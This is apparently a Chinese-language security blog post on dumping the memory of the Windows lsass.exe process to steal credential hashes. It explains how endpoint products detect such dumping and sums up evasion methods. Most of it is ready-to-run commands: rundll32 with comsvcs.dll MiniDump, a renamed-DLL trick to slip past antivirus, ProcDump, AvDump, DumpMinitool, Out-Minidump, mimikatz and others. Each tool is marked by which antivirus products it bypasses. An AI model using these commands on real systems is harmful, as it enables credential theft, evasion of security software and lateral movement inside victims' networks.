dump lsass小结

# 前言 **凭证转储**是攻击者用来破坏基础设施的最常用技术之一。它允许窃取敏感的凭证信息,并使攻击者能够在目标环境中进一步**横向移动** 负责此操作的进程是**lsass.exe**(本地安全...

0x00 前言

凭证转储是攻击者用来破坏基础设施的最常用技术之一。它允许窃取敏感的凭证信息,并使攻击者能够在目标环境中进一步横向移动

负责此操作的进程是lsass.exe(本地安全机构子系统服务),我们需要转储lsass 进程的内存

都是一些师傅们提到的,我是一个脚本小子,小结一下,希望可以帮到各位师傅!

0x01 各大杀软的特点

image-20220326102051700

0x02 Windows Hasah组成

Windows系统下的hash密码格式为:用户名称:RID:LM-HASH值:NT-HASH值,例如:

Administrator:500:C8825DB10F2590EAAAD3B435B51404EE:683020925C5D8569C23AA724774CE6CC:::

解析:
用户名称为:Administrator
RID为:500
LM-HASH值为:C8825DB10F2590EAAAD3B435B51404EE
NTLM-HASH值为:683020925C5D8569C23AA724774CE6CC

0x03 整体流程

1、通过使用访问PROCESS_QUERY_INFORMATIONPROCESS_VM_READOpenProcess/NtOpenProcess调用打开lsass PID的进程句柄

OpenProcess:https://docs.microsoft.com/en-us/windows/win32/api/processthreadsapi/nf-processthreadsapi-openprocess)

2、使用MiniDumpWriteDump读取 lsass 的所有进程地址空间,并将其保存到磁盘上的文件中

注:MiniDumpWriteDump严重依赖于NtReadVirtualMemory系统调用的使用,该系统调用允许它读取远程进程的内存

参考:

https://docs.microsoft.com/en-us/windows/win32/api/processthreadsapi/nf-processthreadsapi-openprocess

https://docs.microsoft.com/en-us/windows-hardware/drivers/ddi/ntddk/nf-ntddk-ntopenprocess

https://docs.microsoft.com/en-us/windows/win32/api/minidumpapiset/nf-minidumpapiset-minidumpwritedump

http://undocumented.ntinternals.net/index.html?page=UserMode/Undocumented%20Functions/Memory%20Management/Virtual%20Memory/NtReadVirtualMemory.html

0x04 两个常用会被检测的点

  • 第一个检测点:

通常发生在OpenProcess/ NtOpenProcess的使用上。Windows 内核允许我们的驱动程序为线程、进程和桌面句柄操作注册**回调例程列表。**这可以通过ObRegisterCallbacks来实现

注册新回调需要两个结构:OB_CALLBACK_REGISTRATIONOB_OPERATION_REGISTRATION

参考:

https://docs.microsoft.com/en-us/windows-hardware/drivers/ddi/wdm/nf-wdm-obregistercallbacks

https://docs.microsoft.com/en-us/windows-hardware/drivers/ddi/wdm/ns-wdm-_ob_callback_registration

https://docs.microsoft.com/en-us/windows-hardware/drivers/ddi/wdm/ns-wdm-_ob_operation_registration

注:OB_OPERATION_REGISTRATION结构允许指定参数组合以直接从内核 监视任何新创建/重复的进程句柄。

  • 第二个检测点:

通常发生在NtReadVirtualMemory的使用上,ReadProcessMemory也在内部使用

参考:

http://undocumented.ntinternals.net/index.html?page=UserMode%2FUndocumented%20Functions%2FMemory%20Management%2FVirtual%20Memory%2FNtReadVirtualMemory.html

https://docs.microsoft.com/en-us/windows/win32/api/memoryapi/nf-memoryapi-readprocessmemory

最常用的方法是Inline Hooking来拦截针对 lsass 进程的NtReadVirtualMemory调用。

注:这种方法的问题在于监控发生在进程本身的同一环级别,因此直接系统调用unhooking等技术很容易绕过这种检测。

参考:

系统调用:https://outflank.nl/blog/2019/06/19/red-team-tactics-combining-direct-system-calls-and-srdi-to-bypass-av-edr/

unhooking:https://0x00sec.org/t/defeating-userland-hooks-ft-bitdefender/12496

更好的方法是使用ETW直接从内核接收有关特定函数调用的通知。例如,每当调用NtReadVirtualMemory时,内核函数EtwTiLogReadWriteVm将用于跟踪使用情况并将事件发送回来。现在大部分 EDR 都采用这种方式。

0x05 Bypass思路小结

方法一:规避 WinDefender ATP 凭证盗窃

简要概述:创建进程的快照,以便使用快照句柄执行间接内存读取。然后在 MiniDumpWriteDump 调用中使用快照句柄,而不是直接使用目标进程句柄。

参考:https://www.matteomalvica.com/blog/2019/12/02/win-defender-atp-cred-bypass/

方法二:使用句柄复制 AV

简要概述:重用已打开的 lsass 进程句柄,从而避免直接在 lsass 上调用 OpenProcess。

参考:https://skelsec.medium.com/duping-av-with-handles-537ef985eb03

方法三:使用 MirrorDump 将 LSASS 转储到内存中未检测到

简要概述:加载一个任意 LSA 插件,该插件执行从 lsass 进程到转储进程的 lsass进程句柄的复制。所以转储进程有一个随时可用的进程句柄来 lsass 而不调用 OpenProcess。

参考:https://www.pentestpartners.com/security-blog/dumping-lsass-in-memory-undetected-using-mirrordump/

0x06 注意

mimikatz 执行

sekurlsa::minidump

lsass 的dmp文件用不用是标准格式的dmp文件

其实只要拿回来的内存区域是正确的 就可以

0x07 命令执行

注:要去使用powershell,默认的cmd没有sedebug权限

rundll32.exe C:\Windows\System32\comsvcs.dll,MiniDump (Get-Process lsass).Id Test.dmp full;Wait-Process -Id (Get-Process rundll32).id
for /f "tokens=1,2 delims= " ^%A in ('"tasklist /fi "Imagename eq lsass.exe" | find "lsass""') do C:\Windows\System32\rundll32.exe C:\windows\System32\comsvcs.dll, MiniDump ^%B lsass.dmp full
powershell "rundll32 C:\windows\System32\comsvcs.dll, MiniDump 520 lsass.dmp full"

0x08 工具分享

微软商店ProcDump

已失效

我们首先尝试使用微软商店工具 ProcDump 绕过杀软,它拥有微软签名

因为是微软自己的工具,所以看看他是不是能获取系统和杀软的信任

项目地址:https://docs.microsoft.com/zh-cn/sysinternals/downloads/procdump

procdump.exe -accepteula -ma lsass.exe lsass.dmp

image-20220420195045664

SQLDumper.exe

已失效,和ProcDump一样,拥有微软签名

image-20220420195104787

comsvcs.dll

comsvcs.dll,它是系统自带的

会被360、defender拦截,Bypass 火绒

在原理上都是使用API MiniDumpWriteDump,通过comsvcs.dll的导出函数MiniDump实现dump内存。

BOOL MiniDumpWriteDump(
  [in] HANDLE                            hProcess,
  [in] DWORD                             ProcessId,
  [in] HANDLE                            hFile,
  [in] MINIDUMP_TYPE                     DumpType,
  [in] PMINIDUMP_EXCEPTION_INFORMATION   ExceptionParam,
  [in] PMINIDUMP_USER_STREAM_INFORMATION UserStreamParam,
  [in] PMINIDUMP_CALLBACK_INFORMATION    CallbackParam
);

注:

我们要考虑权限问题,在dump指定进程内存文件时,需要开启SeDebugPrivilege权限。

管理员权限的cmd下,默认支持SeDebugPrivilege权限,但是状态为Disabled禁用状态。

image-20220326111606393

管理员权限的powershell下,默认支持SeDebugPrivilege权限,并且状态为Enabled

image-20220326111801957

可以通过powershell执行rundll32的命令实现

PS C:\WINDOWS\system32> tasklist | findstr lsass.exe
lsass.exe                     1084 Services                   0     27,564 K

命令格式:

rundll32.exe comsvcs.dll MiniDump <lsass PID> <out path> full

直接利用发现会被拦截:

rundll32.exe C:\windows\System32\comsvcs.dll, MiniDump 1084 lsass.dmp full

简单的绕过思路:

copy一下comsvcs.dll并命名为随意名字,例如matrix.dll

copy C:\windows\System32\comsvcs.dll matrix.dll
rundll32.exe matrix.dll, MiniDump 1084 lsass.dmp full

image-20220326113128285

createdump.exe

已失效

createdump.exe它是随着.NET5出现的,拥有微软签名

image-20220420195128063

PowerSploit 中的Out-MiniDump.ps1脚本

我们可以选择创建进程的完整内存转储。

会被defender拦截,Bypass 火绒、360

导入

Import-Module .\Out-Minidump.ps1

执行

Get-Process lsass | Out-Minidump

image-20220326113441961

hashdump脚本

注:cmd或者双击 hashdumpX64.exe 只会生成一个0kb的lsass.dmp,需要通过Powershell执行

mimidogz(ps版mimikatz)

已失效

项目地址:https://github.com/fir3d0g/mimidogz

下载后在目录中执行:

Import-Module .\Invoke-Mimidogz.ps1
invoke-mimidogz

https://t.co/pNGsLlx6Al

./DumpMinitool.exe 1 'dump6.txt' 2 660 3 Full
Dump minitool: Started with arguments 1 dump6.txt 2 660 3 Full
Output file: 'dump6.txt'
Process id: 660
Dump type: Full
Dumped process.

AvDump.exe

Bypass火绒

AvDump.exeAvast杀毒软件中自带的一个程序,可用于dump lsass

默认路径

C:\Program Files\Avast Software\Avast

image-20220420115020164

它带有Avast杀软数字签名

image-20220420195009289

AvDump.exe --pid 1060 --exception_ptr 0 --thread_id 0 --dump_level 1 --dump_file lsass.dmp

image-20220420115459240

DumpMinitool.exe

Bypass,360、火绒、defender

这个是在推特上大哥分享的LOLBIN

路径

C:\Program Files\Microsoft Visual Studio\2022\Community\Common7\IDE\Extensions\TestPlatform\Extensions

image-20220420194913179

DumpMinitool.x86.exe --file 1.txt --processId 1060 --dumpType Full

0x09 项目推荐

https://github.com/snovvcrash/MirrorDump

https://github.com/snovvcrash/MiniDump

https://github.com/deepinstinct/LsassSilentProcessExit

国外:https://github.com/b4rtik/ATPMiniDump

https://github.com/post-cyberlabs/Offensive_tools/tree/main/PostDump

Bypass360和火绒、defender不行

https://github.com/Redamancy404/MalSeclogon

使用命令:Malseclogon.exe -p [PID] -d 1 -o C:\Users\1255\Desktop\test\1.dmp

需要管理员权限,Bypass,360、火绒、defender

  • 发表于 2022-04-29 18:05:26
  • 阅读 ( 9872 )
  • 分类:内网渗透

0 条评论

请先 登录 后评论
略略略
略略略

36 篇文章

站长统计